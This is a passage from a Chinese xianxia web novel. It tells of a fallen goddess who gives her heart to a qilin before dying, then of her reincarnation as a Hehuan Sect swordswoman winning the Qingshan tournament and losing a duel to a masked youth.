《合欢宗也要修无情道吗?》
1. 魂灭
洞外寒风呼啸,雪纷纷扬扬落了一地。天地间是茫茫一色的白。
沈祭雪快要死了。
没人比她更清楚这一点。
从浮妄天离开不过短短半月,她的灵力已然衰颓,日夜不眠才勉强支撑着这具身体,稍微用力些都可能彻底崩裂。
不免又想起离去时,苍衡目光沉沉地看着她,问她,悔吗?
沈祭雪的心一寸寸沉入渊底,唇边血迹尚未干涸,笑着反问,你我之间,有何可悔?
她素日里高傲惯了,不屑于他迟来的温情,也绝无可能对天道俯首称臣。
洞外有声响传来,沈祭雪淡淡瞥了一眼,麒麟叼着一株灵草跌跌撞撞跑了进来。
这兽诞于姬水之畔,由至纯魔气幻化而成,好巧不巧,竟是与她同宗同源。
大约是同类相吸的缘故,麒麟对她骨子里存了份天然的亲近,拼命将重伤濒死的她拖到了这处山洞里,这才让她苟延残喘至今。
沈祭雪垂眸,睫羽如烟,看着将灵草衔至自己脚边的兽,低低笑了一声:“傻子。”
麒麟茫然抬头看她,歪了歪脑袋。
沈祭雪手心里现出一把寒冰利刃,手腕翻转。瓷白肌肤上伤痕密布,浅青脉络若隐若现。
手中利刃轻轻一划,殷红血珠渗出。
麒麟会意,小心翼翼趴在她的腿上,不断舔舐着滴落的血。
一阵朦胧白光包裹了它,缓缓拉长,光华流转,最终,化成了一个男子。
墨色长发及地,面容是令人心惊的艳丽。眼尾狭长,浅浅蕴着一抹薄红。额间一道墨色的奇异纹路,突突跳动着试图向下延伸,却又被一抹血色殷红纠缠着阻碍。
他身上未着寸缕,目光澄澈,坦然看向沈祭雪,似是在求她褒奖。
沈祭雪看着他的脸,怔了片刻,才俯下身,吻上了他的唇。
唇齿纠缠间,丝丝缕缕的魔气从他身上引至沈祭雪体内,暂时抚慰了灵力枯竭的痛楚。
辗转吮吸,热度渐渐攀升,沈祭雪只觉得头脑一片昏沉。
恰在此时,洞口布下的结界传来一阵灵力波动。
沈祭雪警觉抬眸,目光森然。
玄戈站在洞口处,面色惨白地看着眼前这近乎荒诞的纠缠,手中玉匣哐当坠地,珍品丹药散了一地。
沈祭雪顿了顿,将人从面前推开,解了结界。
“玄戈,你来做什么?”
玄戈似是受了极大冲击,神情恍惚,并未答话。目光从她面上一路向下,最终,落在那跪地的赤裸人影上。
麒麟微微垂着眼眸,睫羽如烟,掩去了其间翻涌的暗色。他亲昵地蹭了蹭沈祭雪的掌心,半是示威半是挑衅地侧过脸看向来人。
眉眼是触目惊心的艳丽。
……蛊惑人心的妖物。
玄戈定定地瞧着那人,指尖颤抖着,好半天才找回语调:“……你怎能堕落到这等地步。”
……原来是为了讥讽她来的么。
沈祭雪微微叹了口气,不愿去辩解,手指抚过身侧人的墨发,低下头,打算继续吻他。
一道寒光擦过她的面容,留下深可见骨的伤痕。沈祭雪伸手抚过脸颊,刺痛后知后觉传来,血染红了掌心。
她的目光骤然冷了下来。
见她受伤,麒麟化为原形,嘶吼着扑上前去。玄戈抽出长鞭与其纠缠,心中恼怒,咬着牙,一心只想致他于死地。
纠缠不休间,沈祭雪拧着眉,忽而唤了一声:“玄戈。”
玄戈用长鞭将麒麟隔开,朝她道:“你身为神祗,却背弃天道,在此地同妖物厮混!简直不知廉耻,背信弃义!
如何对得起苍衡这些年对你的教导,传出去,岂不是让我浮妄天蒙羞!”
沈祭雪勾唇微哂:“上神说笑了,我一个将死之人,早已被天界除名,哪还有心思去管什么耻笑不耻笑?”
“我本体不过是只偶然得了机缘的恶兽。百兽有本能,我只是想活着而已,怎么就罪大恶极了?反倒是你,”
她的目光落在了散落在地的玉匣与珍稀丹药上,“千里迢迢赶来寻我,就只是为了当面讥讽我的吗?”
麒麟跃回她身边,玄戈的脸色极为难看,收回长鞭,大踏步地走向她,伸出了手:“跟我回去。”
沈祭雪面上伤口仍在流血,她伸出手安抚着麒麟,不以为意地笑道:“回去做什么?去天刑台继续挨罚?”
玄戈拧眉看着她,伸出的手缓慢握成了拳,收回到了身侧:“苍衡,他很担心你,特意派我来下界寻。那些丹药,也是他为你准备的。你为何不肯体谅体谅他?”
“体谅?”沈祭雪眼眸幽寒,敛去了面上笑意,语气森然道,“体谅什么?”
“体谅他光风霁月,夺我妖族血战之功,一人独揽荣光?”
“体谅他明知我所言非虚,却还要在道侣大典上护着那只九尾狐妖,让我沦成三界笑柄?”
“还是体谅他那七十二道雷霆鞭,鞭鞭碎灵见骨,几乎让我死在天刑台上?!”
她一字一顿,“若是我灵力未散,此刻早已掀翻天门,踏碎凌霄,用他的血,来祭我妖族万里枯骨亡魂了!”
这一番话怨愤至极,纵然知晓她现在灵力所剩无己,也足以令闻者胆战心惊。
玄戈目光复杂看着她,沉默半晌,才又艰难开口:“可是,苍衡他……他毕竟是你师父,他也曾救你,护你,教导你。
往日情分……总还是有的。他伤你,也是……迫不得已,你怎能背叛他?”
背叛吗?
沈祭雪心中冷笑不已,站起身,死死盯着玄戈的眼睛,轻声道:“上神说笑了。我自生于天地之间,千万年来也从未依附于他而活。既无依附,何谈背叛?”
“至于活命之恩,战场之上我为天界拼死杀敌九死不悔,这份恩情,早已还尽了。”
“上神的话既已经带到了,就请滚远些。免得让我这个将死之人,最后一刻还要被这所谓的恩情带累,悔不当初。”
这是明明白白下了逐客令。
玄戈作为浮妄天神祗,何曾受过这等侮辱,气得浑身颤抖。然而用手指着她半晌,想不出话来反驳,又不好对昔日同僚下死手。
最终只气急败坏地瞪了她一眼,呸了一声,拂袖离去。
见人走远,沈祭雪捂着唇,咳嗽了一阵,殷红的血从指缝间溢出,面色惨白。
血色裂痕如同蛛网般,从面上伤口缓慢向四下蔓延。
这具身体本已是强弩之末,被玄戈这么一激,崩损得就更加厉害。
从方才开始就一直沉默的麒麟化成人形,伸出手,轻轻拥住了她。
沈祭雪的身体微微一僵。
“他让你不开心了吗?我去杀了他。”
沈祭雪哑然失笑,“想什么呢?他再弱,也好歹是神。你不过是只刚化形的兽,打不过他的。”
麒麟墨色的眼瞳闪了闪,偏过头看她,平白无故笃定道:“你很在意他,为什么?”
沈祭雪微微一怔,这才反应过来,麒麟口中的他,不是指玄戈,而是指苍衡。
沈祭雪轻轻垂下了眼眸,自嘲笑道:“……大约是因为我总在强求一些,神得不到的东西。”
“比如?”
“爱恨。”
麒麟略微琢磨了一下,发现自己听不懂她说的话。
没人教过他这些。
但方才,她从听到苍衡的名字开始,情绪就隐隐失控。爱恨,想来是对她很重要的东西。
麒麟希望自己也能成为她眼中重要的东西。
他将沈祭雪拥得更紧了些,追问道:“什么是爱恨?”
沈祭雪被他勒得有些喘不过气,轻轻地将他从身前推开,重又坐了下来。
“一些很复杂,……也很无聊的东西。”
麒麟似懂非懂地点点头:“那你爱恨过苍衡吗?”
他似乎是把爱恨当作一体了。
……这算什么话。
沈祭雪眼中复杂神色一闪而过,沉默许久,轻轻摇头,答道:“没有。”
曾经苍衡于她而言,亦师亦友,若非那只狐妖……他甚至会成为她的道侣。
如今,恩断义绝,隔着血海深仇。
她只想杀了他,仅此而已。
麒麟从她身上嗅到了谎言的气息。
可他对这个回答十分满意,不愿再深究。
麒麟低下头,冷白的脸庞竟透出些许羞涩的红,不敢看她,手指攥起又放开,纠结半响,扭捏问道:
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“那……你爱恨我吗?”
沈祭雪闻言有些愕然,下意识抬头,对上了一双热切明亮的,黑曜石般的眼眸。
她的目光在他艳丽夺目的脸上停顿许久,没点头,也没摇头。
沈祭雪想说她其实很欣赏他的脸。
同时也觉得他身体肌肉的线条流畅漂亮,摸上去手感很不错,嘴唇亲上去很甜。
但又觉得这些听上去太过低俗肤浅,与爱恨没什么关联,硬生生咽了回去。
默了片刻,她强迫自己移开目光,僵硬地转移话题:“今晚的月亮很圆。”
……可洞外一片漆黑,没有月亮。
麒麟隐约明白了什么。
*
之后数日,沈祭雪面上的那道伤口几乎成了催命符咒。
灵力不断从伤口溢散,经脉枯竭的痛楚让她昼夜难安,麒麟身上的魔气也不再管用。
身体业已到了极限。血肉崩离,重归混沌,不过是时间的问题。
尽管如此,沈祭雪依旧用血喂养麒麟。短短几日,他身上的魔气已然稳固,灵力与身形亦是长了不少。
这日,天际墨云翻滚,雨丝连绵,惊雷劈下。
沈祭雪瞧着洞外连绵的雨珠,忽而向麒麟问道:“你想成神吗?”
这些时日相处下来,她发现,他虽像浮妄天诸神一样自混沌化形,却是个没有心的。
灵窍未开,不辨五色,不识五音。
麒麟刚从外面回来,随意裹着一件白衣走动,墨色长发湿透,贴在肩颈处。
他想了想,认真看向她:“成了神,就可以和你一样了吗?”
沈祭雪笑了笑,“是。”
“成了神,就可以不用同兽类厮杀了吗?”
“是。”
“那成了神,我就可以帮你报仇了吗?”
“……不要总想着我。”
“哦。成了神,我就可以和你永远在一起了吗?”
“……………”
沈祭雪揉了揉额,有些头痛。
她不明白这只兽为何对自己如此执著。明明他们认识的时日连一月都不到。
她曾向他解释悖逆天道的代价,解释诸神必然的消亡。但是麒麟似乎无法真正理解。
他能理解的,只有出于兽类本能的,猎杀,得到,占有,失去。
沈祭雪觉得自己于教导一途实在是无能为力。
正默默出神间,忽而听见麒麟答道:“如果这是你的希望,那么,我愿意。”
……
洞窟中结了阵法,结界周围金色符文若隐若现。
沈祭雪与麒麟相对而坐。她闭目念起法咒,额间金色痕迹骤然亮起。
沈祭雪伸出手,一柄寒冰刃现于掌心。她毫不犹豫沿着胸口处裂痕,捅了下去,刹时血流如注。
胸口被剖开,暗金色的心脏被她忍着痛楚拔了出来。又如法刨制,将麒麟的胸口剖开,把心脏塞了进去。
仅存的灵力为他愈合伤口,自己的身体却已然开始消散。
麒麟睁开眼,茫然感受着胸口传来的奇异震动,灵力在体内奔腾如江海。
待看清眼前人的状态后,惊叫一声,仓皇上前,伸出手为她注入灵力,试图帮她捂住伤口。
沈祭雪唇角勾起,殷红血迹沿着脸庞蜿蜒而下:“我……将一半灵力,……和天道神谕……一并给了你……”
“你的命数……不在天罚之列……”
“……不要忘了我……若是你愿意……万年后……来寻我……下一世……等下一世……我们……就……永远……在一起……”
沈祭雪的手一点点抬起,捂住了他的眼睛。
她想放声大笑,喉咙间溢出的却只剩叹息。
只一瞬,手从他眼前无力垂落,她的身躯化为金色光尘,如同星辰般,一点点湮灭,最终,彻底归于虚无。
麒麟只觉得眼前似乎弥漫着山涧的水汽,捂着胸口,生平第一次感到心痛。
后来,如她所言,天罚降临,天地之间,诸神陨灭,无一幸免。
万年间,时过境迁,沧海桑田。浮妄天上,新的秩序已然建立。
他记得她的诺言。
身陷凡尘三千世,魂牵故人一梦归。
2. 九幽
春寒料峭,寒风如刀。
街边的烧饼摊很香。
沈二十三揣着手蹲在街角,眼睛一眨不眨地盯着那些油焦泛黄,洒满芝麻的烧饼,不时咽几口口水。
烧饼摊主见她冻得瑟瑟发抖,又始终不开口说话,忍不住动了恻隐之心,向她招了招手。
“小姑娘,你过来拿个烧饼吧。”
沈二十三瑟缩着开口:“我,我没有钱。”
“不要钱,送你的。”
沈二十三眼睛骤然亮了起来,跑到烧饼摊前,小声询问:“可以多拿一个吗?我师姐也没有吃饭呢。”
烧饼摊主摆了摆手:“拿吧拿吧,这天寒地冻的,别饿坏了。”
沈二十三道了谢,捧着两个热乎乎的油纸包,飞快地往回跑。
青山宴开宴在即,寻竹城中,客栈人满为患。
各门派的英才接下请柬,齐齐汇聚,踌躇满志,都盼着赢下青山宴头名,名扬天下。
沈二十三气喘吁吁,好不容易跑回客栈门前,一眼瞧见自己精心打包的书册与衣物,散落在了泥泞地里。
一众紫衣玉带,腰佩长鞭的门派弟子叫嚷着将一身形高挑,面容苍白的女子从客栈中推了出去。
围观人群众多,却都耳观鼻鼻观心,权当看个热闹,无一人上前阻拦。
那女子一袭素衣,墨发松松挽起,面容柔和地近乎平庸,让人见之即忘的长相。
她身体似乎极为病弱,被人轻轻一推,竟要直直后仰,摔下阶去。
沈二十三见状,慌忙拨开人群,将油纸包塞在衣袖中,跑上前去扶住了她:“师姐,小心!”
那群门派弟子似乎来了兴致,吹着口哨,起哄叫嚷道:“哟,合欢宗竟还有这般水灵的小师妹?”
“怎的,上赶着来给师姐献殷勤,好多学两招狐媚功夫?”
“可惜啊可惜,你们合欢宗祖传的双修功法怎么不拿出来?莫非是练功练得走火入魔,见不得光?”
人群中传出细微的抽气声。那几个紫衣人越发得意,竟三五成群围成半圈,将二人困在阶前。
“啧,”一个紫衣弟子仔细打量着那病弱女子,笑道,“合欢宗的人如今连皮相都懒得修了么?这等清汤寡水的模样,哪个能看得上……”
沈二十三攥紧了拳头,磨了磨后槽牙,往前一步,正想同他们理论,被身侧的沈祭雪不动声色地扯了回来。
紫衣长鞭,这些人是九幽宗弟子。
九幽宗,修仙界中有名的刺头门派。派中弟子蛮横跋扈,将捧高踩低的门派绝□□用到了极致。
臭名昭著,逮谁咬谁。口口相传间,成功获得传奇代称,人形疯狗。
沈祭雪认知正常,能同狗吵架的只有狗。孩子还小,不能当狗。
但沈二十三攥紧了拳,鼓足了劲,瞪了她一眼,还要拼命往前冲。摆明了是不出了这口恶气不罢休。
沈祭雪默默在心底叹了口气,正打算将她扯得更远些,却见一道长鞭劈头盖脸打了过来。
她眼眸一凛,下意识伸手去抓,一柄长剑先她一步,将鞭子轻巧挑开。
沈二十三吓得呆立在了原地。沈祭雪微一定神,抬眼去看。
来人身着银蓝宗门服饰,腰间系云纹衣带,玉冠束发,身形飘逸。
他挡在二人身前,微微回眸,眼睫低垂,似是悲悯,鼻挺唇薄,露出的半边侧脸线条分明,极为温润。
“二位姑娘,没事吧?”
沈祭雪摇了摇头。沈二十三也摇了摇头。
那人唇边便勾起一抹若有若无的笑,将长剑召回,看向了九幽宗弟子。
“九幽宗真是越发地不懂规矩了,于长街之上还公然向女子出手,不知礼教,不懂尊卑。
每日调笑谩骂,惹是生非。看来贵派掌门疏于管教,是该好好敲打一番。”
那出手的弟子闻言,心中先是一骇。待看清来人衣着并非哪家名门正派的样式,忍不住怒从心头起,破口大骂:
“呸!你算什么东西,也配来充英雄好汉,教训老子!知道我们掌门是谁吗?”
来人微微挑眉,笑而不语。
一个佝偻身形从人群中钻了出来,须发皆白,满脸惊惶,同样身着九幽宗的紫衣玉带。
他抹了抹额上汗,小跑到洛逢春身边,连连向他弯腰作揖:“是,是小人管教无方,门下弟子无知,冲撞了洛公子,真是罪该万死!让您见笑了……”
小老头旋即又板起脸,挺直了腰,向那群门派弟子们叫道,“好了,你,你,你,还有你,都住嘴!
丢人现眼的东西,干什么呢!还不快给洛公子赔罪,回去再好好教训你们!”
洛逢春的目光掠过地上的书册与衣物,淡淡一笑:“无妨,掌门不必如此紧张,横竖丢的又不是我的脸,传出去,污的也不会是我的名。”
九幽宗掌门喏喏称是。
洛逢春回过头,想安抚方才受惊的姑娘。这才发现沈祭雪和沈二十三已经没了踪迹。
洛逢春:“……”
跑得还挺快。
寻竹城外。竹林密布,翠意盎然。
沈祭雪倚着竹子,咬了一口烧饼,认真点评:“咸了。”
沈二十三幽幽地盯着她,鼓着腮,愤愤地将自己手里的烧饼咬下了一大块,含混道:“那你别吃了。”
沈祭雪就真的停了下来。她蹲下身,将烧饼递了过去,又揉了揉沈二十三的脑袋,“你吃。”
沈二十三低下头,忽然很想哭。
她们已经穷到连一个烧饼都买不起了,还要被人欺负。
沈祭雪看着她的样子,一时有些无措。
她和这个小师妹并不熟悉,从沈二十三被师父捡上山来,和她说过的话不超过二十句。
临行前,她还特意找了小师妹的画像,记了记她的相貌,免得认错了人。
她对于哄孩子这件事不甚熟练,只能硬着头皮,向沈二十三强调她们此行的目的。
“那个,二十三啊,你别难过,师父她还在等我们回去。你看,师父她中了毒,都快死了,你就别让她担心了……”
沈二十三闻言,眼眶一热,鼻子一酸,将烧饼放在一边,真心实意地哭了出来。
沈祭雪:“……”
完球,好像说错话了。
沈二十三伸手扯住她的衣袖,抬起头,眼睛通红,抽抽噎噎道:“师姐,可是,你真的能赢吗?他们那么凶,那么厉害,你真的能打赢他们吗?”
沈祭雪叹了口气,伸手擦去她的眼泪,目光柔和:“……当然。”
“你要信我。”
未过几日,青山宴如期开宴。
宴会共办十日,比试日夜不休。入宴者抽签比试,两两对决。最终胜者可向任意门派提出要求。除非情况极为棘手,否则门派不可拒绝。
因师父身染重病,用尽钱财去换药,也仅剩一月之期。沈祭雪此行,正是为了向药宗寻解毒灵药,月魄凝霜。
传闻此药可解万毒,兼有延年益寿之效,极为珍贵。
沈祭雪自认一月内无法寻得,只能希冀赢下青山宴后,向药宗去寻。
奇花异藤结就的高台之上,沈祭雪剑招凛冽,赢了一场又一场。
对手往往先因她出自合欢宗而轻敌,又因她剑势凌厉而恐惧,不出十招便败下阵来。
沈祭雪一路打一路赢,寻竹城中,有关谁会是这届青山宴魁首的赌价水涨船高。
洛逢春作为凌云宗掌门的首徒,上届魁首,年纪轻轻,天之骄子,自然是最受人瞩目的。一堆人向他压下赌注,打算美滋滋躺赢。
沈二十三偶尔路过时,会走进去看看。沈祭雪的名字被摆在角落里,圆盘中空落落的,一分钱也没有。
她旁边的名字,都或多或少有人压了赌注。
沈二十三有些难过,摸了摸空瘪的荷包,咬咬牙,小心翼翼地向中倒了两枚铜钱。
这日,远山如黛,万里无云,碧空如洗。
高台之上,沈祭雪看着眼前人,微微眯了眯眼。紫衣玉带,手执长鞭,九幽宗的人。
那人显然也认出了她,晃了晃手中长鞭,咧嘴笑道:“怎么?这鞭子熟不熟悉?还认不认得爷爷我?”
沈祭雪微一挑眉,一言不发。
“呦,还生气了?”那人哈哈大笑,将她从头到脚打量一遍,料定她没什么本事,仰起下巴,狂妄道,
“我也不为难你,这样,你乖乖跪下,磕三个响头,叫我一声爷爷,爷爷
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我就让你三招,怎么样?”
台下九幽宗弟子捧场似地吆喝道:“就是啊!多公平!”
“怎么,让着你,你还不乐意了?”
“呸,合欢宗一群给脸不要脸的东西!”
…………
一群狗在叫,好吵。
沈祭雪微微抿唇,手中灵力一转,现出长剑。剑长三尺七寸,剑柄剑鞘皆为素白,刃口极薄,在光照下泛起幽幽青芒。
这剑名为祭雪,与她同时被她师父捡到。成功让她摆脱了沈一的名字。
那九幽宗弟子见她拔剑,嗤笑一声,鞭子凌空一抖,直直劈向她的面门。
台下喧哗更甚。
沈祭雪身形倏然侧转,长鞭贴着她衣袂掠过,竟连半分也未沾到。
一击落空,那人脸色微变,手腕一转,长鞭变抽为卷,缠向沈祭雪脚踝。
沈祭雪眼眸一凛,手中长剑轻轻地在那呼啸而来的长鞭上一点,长鞭向上反荡而起。
九幽宗弟子只觉一股古怪力道顺鞭传来,手臂酸麻,险些抓握不住,心中大骇,踉跄后退。
沈祭雪眼底寒芒一闪而过,素白剑柄在掌心轻旋,速度快得只余残影,台下众人只觉眼前一花,剑尖已精准点在那人握鞭的手腕之上!
血光迸现,那人惨嚎一声,强忍着痛,方才没让长鞭脱手。
沈祭雪一掌打在了他胸口,那人的身子顿时倒飞出去,重重砸下高台,尘土飞扬。
沈祭雪剑势不收,剑刃一引,将他手中失控落下的长鞭骤然甩出。
长鞭呼啸着掠过台下人群,“啪啪”两声,迅速扫过那群叫嚣的九幽宗弟子脸上,留下一片血淋淋的鞭痕,惨叫声顿时此起彼伏。
三招,不多不少。
台下瞬间死寂。九幽宗弟子捂着脸的哀嚎格外清晰。
那摔下台的九幽宗弟子挣扎爬起,手腕鲜血淋漓,胸口剧痛,脸上更是火辣辣一片。
他瞪着沈祭雪,眼中满是怨毒,猛地嘶声大叫:“不可能!你作弊!定是使了什么阴损手段!合欢宗的贱人……”
沈祭雪收剑而立,微微垂眸,俯视台下乱咬人的疯狗,眼神淡漠。
“三招,是为了留你性命。若要杀你,”她言语微顿,唇角勾起一丝极淡的弧度,“一招足矣。”
那九幽宗弟子被她话语里的轻蔑噎得满面通红,张口还想再骂。
沈祭雪却已懒得再费口舌,转过身走了几步。
又不知想到了什么,侧过脸,缓缓开口,唇瓣轻启,清晰地向他比出一个口形:
废物。
台下的九幽宗弟子被她气得神思昏沉,怒火更甚,猝不及防开始吐血。
人群中,洛逢春若有所思地瞧着她的背影,微微挑眉,眸色幽沉。
入夜后的寻竹城愈发热闹。长街灯火通明,人群熙熙攘攘。
青山宴上赢了比赛,得了些彩头。沈祭雪终于能松口气,不再为饭食发愁。
沈二十三舌灿莲花,一口一个“师姐好厉害”,将沈祭雪夸了整整一个下午,夸得自个儿口干舌燥。眼睛亮晶晶地看着沈祭雪,成功将她支去了酒坊买果酒。
酒坊内弥漫着浓郁香气,坊内人不算多,三三两两,大多是散修或本地熟客。
沈祭雪依着沈二十三的念叨,寻了一坛青梅醉,刚要对掌柜开口,身侧人影一晃,撞在她肩上。
沈祭雪身形微微一动,抬眼看去。
入眼是个穿了身银红劲装的男子。
银冠束着高马尾,身形挺拔,脸上却覆着半张玄色面具,遮住了鼻梁以上的部分,只露出线条分明的下颌和一双眼睛。
那双眼睛,眼尾微微上扬,睫羽浓密纤长,瞳仁是极深的墨色,像沉入寒潭的黑曜石,深不见底。
他向沈祭雪微微颔首,并未多言,转身便要离开。
沈祭雪平白无故觉得那双眼睛很熟悉,熟悉到仿佛曾在某个时刻,如此近地凝视过。
“等等。”
那戴面具的男子脚步顿住,侧过半身,沉默地看向她,眼中带着些许询问的意味。
沈祭雪向前一步,盯着那双掩在面具后的眼睛,试探着开口:
“这位道友,我们……以前是否见过?”
3. 谢灼
男子盯着她看了半晌,唇角微弯,笑了笑,头也不回地走了出去。
沈祭雪:“……”
原来是个哑巴么。
她莫名觉得有些可惜,摇摇头摆脱那些荒谬的念头,拎着青梅醉去寻沈二十三。
青山宴已近尾声,沈祭雪一路打一路赢,最终,对上了洛逢春。
沈祭雪对这位倒是有所耳闻。
据说是凌云宗某位长老的重孙,掌门的首徒,万里无一的修仙天才。
按道理讲,这类人往往自视甚高,目下无人。偏偏洛逢春待人也是一等一地温和体贴,热衷于扶弱济贫,在民间口碑甚佳。
不过依着对凌云宗的了解,沈祭雪觉得他十有八九是在装。
青山宴的最后一日,各门派掌门齐齐到场。
高台之上,洛逢春一袭银蓝宗服,玉冠束发,身姿挺拔如松。
他面容温润,眉眼俊逸,唇边一抹若有若无的浅笑,令人如沐春风。
沈祭雪认出了他是那日为自己解围的人,微微弯了弯唇。
“请。”洛逢春微微颔首,姿态优雅。
“请。”沈祭雪还礼,神色淡淡,手中祭雪剑嗡鸣低吟,青芒流转。
话音甫落,两道身影同时而动。
洛逢春的剑势如和风细雨,绵密柔和,身法飘逸灵动。银蓝衣带翻飞,远远望去,恍若云中鹤,画中仙。
沈祭雪剑招却凛冽迅疾,带着决绝冷意,每一剑都直取要害。
洛逢春的剑意在于“守”与“化”,她的剑意却在于“破”。
二人剑意截然不同,一攻一守,一时间竟斗得旗鼓相当,难分高下。
台下鸦雀无声,众人皆屏息凝神。
剑光交错,灵力激荡,金铁交鸣之声不绝于耳。
洛逢春眸色微沉,寻了个破绽,剑势陡然一变,不再防守,长剑挥洒,竟带起风雷之势,直直攻向沈祭雪。
沈祭雪心知此招难以硬接,但足尖轻点地面,身形并未后退。
洛逢春心念微动,未想到她不躲不闪,怕真的伤到她。
剑势微滞,瞬息之间,沈祭雪手腕一翻,长剑轻颤,化刺为挑,精准地附上了洛逢春的剑身。
洛逢春只觉一股巧劲传来,手中长剑竟险些脱手。
他心下骇然,急忙后撤半步,稳住身形,沈祭雪的剑尖已如影随形,点在了他的咽喉前。
剑意森然,凝而不发。
台下静得落针可闻。
洛逢春怔了片刻,缓缓收起长剑,“姑娘剑术精绝,我输了。”
“怎么可能?洛师兄怎么会输?”
“定是那妖女使了什么手段!”
“对啊!定是她蛊惑人心,暗施诡计!”
台下的凌云宗弟子难以接受这个结果,忍不住叫嚷出声,语气满是愤懑。
“住口!”洛逢春眉头微蹙,回头看向他们,“输了便是输了,岂可因败生妒,口出恶言?向沈姑娘道歉。”
几个凌云宗弟子被说得面红耳赤,虽仍有不甘,却不敢违逆师兄。
只得悻悻地朝着台上拱了拱手,声音细若蚊蝇:“……对不住。”
沈祭雪收剑入鞘,对台下纷扰恍若未闻,只多打量了洛逢春两眼。
这人长得不错,也的确是个可塑之才,再多修个十几年,飞升估计也指日可待。
唯一可惜的是,按她师父的评判标准,这人是个实心的脑袋,容易被人卖了还帮人数钱。
“承让。”沈祭雪淡淡开口,语气较之先前缓和了些许。
“凌云宗弟子道歉的声音这么小,是没吃饭么?”
台下一个阴阳怪气的声音突然插了进来,是个摇着折扇的药宗修士。
“输不起就直说,装什么大度?不过,合欢宗的媚术果然名不虚传,连洛道友这样的年轻才俊都着了道。”
这话立刻引来一阵哄笑。几个其他门派的弟子跟着起哄:“就是!说什么剑术比试,分明是看上了人家合欢宗弟子,手下留情了吧?”
洛逢春面色一沉,正要开口,却见沈祭雪轻飘飘地扫了他一眼,唇角勾起一抹似笑非笑的弧度。
“道友,”她的声音清冷,“你说,这修仙门派教授弟子,教的究竟是剑术还是吵架的技术?”
洛逢春默然不语。
沈祭雪叹了口气,转身就走,衣袂飘飞间,一枚精致的香囊从她袖中滑落,正好掉在洛逢春身旁。
台下立刻传来尖叫:“看!我说什么来着,果然是用了药!洛师兄你快离远点!”
是个女修的声音。
沈祭雪微微偏头,有些无奈。当众下药,在这些人眼里,她竟蠢到这种地步么……
洛逢春闭了闭眼,再次厉声呵斥:“都给我闭嘴!再有人多言一句,去思过崖面壁三月!”
他弯腰拾起香囊,指尖轻轻一捻,抬眼冷冷道:“这不过是最普通的凝神香,坊市三钱银子一包。”
他走上前,将香囊递还给沈祭雪,声音里带了些歉意,“姑娘,今日……是我凌云宗失礼了。”
沈祭雪却没有接。
她的目光在洛逢春面上停留一瞬,淡淡道:“留着吧。道友心绪不宁,更需要凝神静气。”
有这么一群糟心的师弟师妹,能活这么久真要算他福大命大。
洛逢春怔在原地,握着那枚香囊,指尖发烫。
他微微颔首,不再多言,转身走下高台。
台下各派掌门脸色青黑,你看看我我看看你,一言不发。
凌云宗办这青山宴的主要目的,是为了给自家得意弟子镀金。
甚至于早就与各派掌门早就商量好了,你一届我一届他一届,大家和和气气地都有奖。
结果这突然从合欢宗蹦出来了这么一位,还得了魁首,传出去岂不是丢光了天下修真门派的脸面。
一时间,众人纷纷看向凌云宗掌门,眼巴巴地求他给个解法。
凌云宗掌门咳嗽两声,站起身,一挥手,刚要说话。
天边一道红影掠过,风起又风止,落在了高台之上。
众人呆呆地看着高台上的人影,心中对凌云宗掌门充满了崇敬。
这人竟然对今日这番情景早有预料,还能让人随叫随到。真神人也。
凌云宗掌门:“……”
事实上,台上这两人,他一个也不认识。
沈祭雪微微拧眉,看向对面。
来人依旧一袭银红劲装,墨发束成高马尾,玄色面具掩了半张脸。鼻挺唇薄,眼眸狭长,睫羽如烟。
沈祭雪:“……是你?”
少年抬眸看她,唇角勾起:“是你?”
沈祭雪:“你不是哑巴?”
少年:“……”
他似笑非笑地瞧着沈祭雪,轻声道:“你得了青山宴的头名?”
沈祭雪隐隐觉得有些不对劲,“你要做什么?”
“自然是为了找你,”他眼眸中一闪而过促狭笑意,盯着她,唇齿轻启,“打架。”
凌云宗掌门心情复杂,默默坐下,只能祈求这少年身份不会比合欢宗弟子听上去更不合时宜,传出去能好听点。
台上,沈祭雪眸光微凝,将祭雪剑横于身前,低声道:“既然要打,请先告知姓名。”
少年低低笑了一声,手腕一翻,一柄玄骨扇赫然展开。扇面赤金两色,边缘锐利,显然亦是兵器。
他指尖抚过扇面,轻声道:“你若打赢了我,我便告诉你。”
话音未落,他身影倏动,手中扇合拢,直点沈祭雪手腕间,速度快得惊人。
沈祭雪侧身避过,祭雪剑挽起一道青色寒芒,反削对方手臂。
少年却不硬接,足尖轻旋,身法奇诡,飘忽不定。
那柄玄骨扇在他手中变化多端,时合时展,角度刁钻,专攻人难以防备之处。
一时间,台上只见剑光扇影缭乱纷飞,灵力碰撞爆出的气劲四下激射,逼得台下围观之人都不由自主
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后退数步。
众人看得眼花缭乱,心下骇然。
沈祭雪寻隙强攻,剑势密集,试图封堵少年所有退路。
少年眼中闪过一丝讶异,随即化为更浓的兴味,手中玄骨扇急速舞动。
一连串急促脆响过后,沈祭雪这凌厉一击竟被尽数化解。
就在这时,沈祭雪剑尖陡然一颤,变招快得超乎意料,疾刺少年面门。
少年闪避不及,微一侧脸,“咔哒”一声轻响。
那玄色面具应声飞起,在空中划出一道弧线,旋转着落至台上。
面具之下,再无遮掩。
刹那间,仿佛周遭所有的喧嚣与光华都骤然褪去,世间所有的颜色都凝聚于那一张脸之上。
那竟是一张极为俊美的面庞,看着或许比洛逢春还要年少些,眉眼生得秾丽逼人,近乎妖异。
一双眼睛犹如寒潭,面容却是极具侵略性的,锋芒毕露的艳丽,仿佛精魅化形,误入凡尘。
沈祭雪心神骤然一滞,手中剑势不由自主地缓了半分。
便是这瞬息之间的怔忪,少年眼中讶色瞬间褪去,化为一丝轻笑。
趁着她剑势微顿的空隙,侧身一闪,扇尖已然抵在了她的心口。
胜负已分。
台下死寂一片,所有人都被这电光火石间的变故惊得说不出话来。
沈祭雪看着少年眼中流转的,毫不掩饰的促狭与得意,缓缓低头,方才回过神来。
少年收回玄骨扇,“唰”地一声展开,半掩着那张艳丽面容,声音透过扇面传来,带着戏谑:“现在,我赢了。”
凌云宗掌门在台下长长舒了一口气,轻咳一声,温声问道:“台上少年,不知是何门何派的后辈?报上名来。”
少年闻声,懒洋洋地瞟了他一眼,答道:“哦,邪修?散修?我也不知道,反正你们都这么叫。至于姓名,”
他看向了沈祭雪,“我只告诉她一人。”
沈祭雪:“……倒也不必。”
她收剑回鞘,转身欲走。
少年奇道:“为什么?你不想知道吗?”
“不想。”
“那我偏要让你知道。”
沈祭雪忍无可忍地回头怼道:“……你有病么?”
